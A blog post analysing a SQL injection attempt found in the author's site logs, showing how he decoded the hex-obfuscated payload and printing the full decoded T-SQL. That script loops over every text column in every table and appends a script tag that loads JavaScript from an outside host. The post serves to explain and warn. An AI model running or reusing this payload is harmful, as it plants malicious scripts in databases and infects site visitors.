I had a huge list of errors in my blogs log this morning and they all had something very unusual in common: a request url that looked like this:

/Archive.aspx?month=8&year=2008';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x444 ... snipped for brevity ... 36F72 %20AS%20CHAR(4000));EXEC(@S);

I was kind of impressed that the malign chap had gone to the trouble of obfuscating the SQL by embedding the majority of his script in hex. However, a careful C&P to SQL Query analyzer allowed me (being sure not to execute the EXEC(@S) part of the query).

DECLARE @S CHAR(4000);
SET @S = CAST( 0x444 ... snipped for brevity ... 36F72 AS CHAR(4000));
PRINT @S;

Which revealed:

DECLARE @T varchar(255), @C varchar(4000)
DECLARE Table_Cursor CURSOR
    FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C
        WHILE(@@FETCH_STATUS=0)
            BEGIN
            exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://www2.1000ylc.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://www2.1000ylc.cn/csrss/w.js"></script><!--''')
            FETCH NEXT FROM Table_Cursor INTO @T,@C
            END
    CLOSE Table_Cursor
    DEALLOCATE Table_Cursor
    
Ooh nasty! The culprit must be targetting blogs (and/or other sites that store HTML content directly in the database) and is trying to squirt in a script link to some content he has hosted on a server somewhere. A kind of SQL/XSS hybrid attack.

This reminded me of one of my favourite articles on SQL injection by Michael Sutton called How Prevalent Are SQL Injection Vulnerabilities?.

In it he describes an idea to discover websites that are vulnerable to SQL injection using the google API, the results are particularly interesting:

Scary. If you're not familiar with SQL Injection check out the wikipedia entry.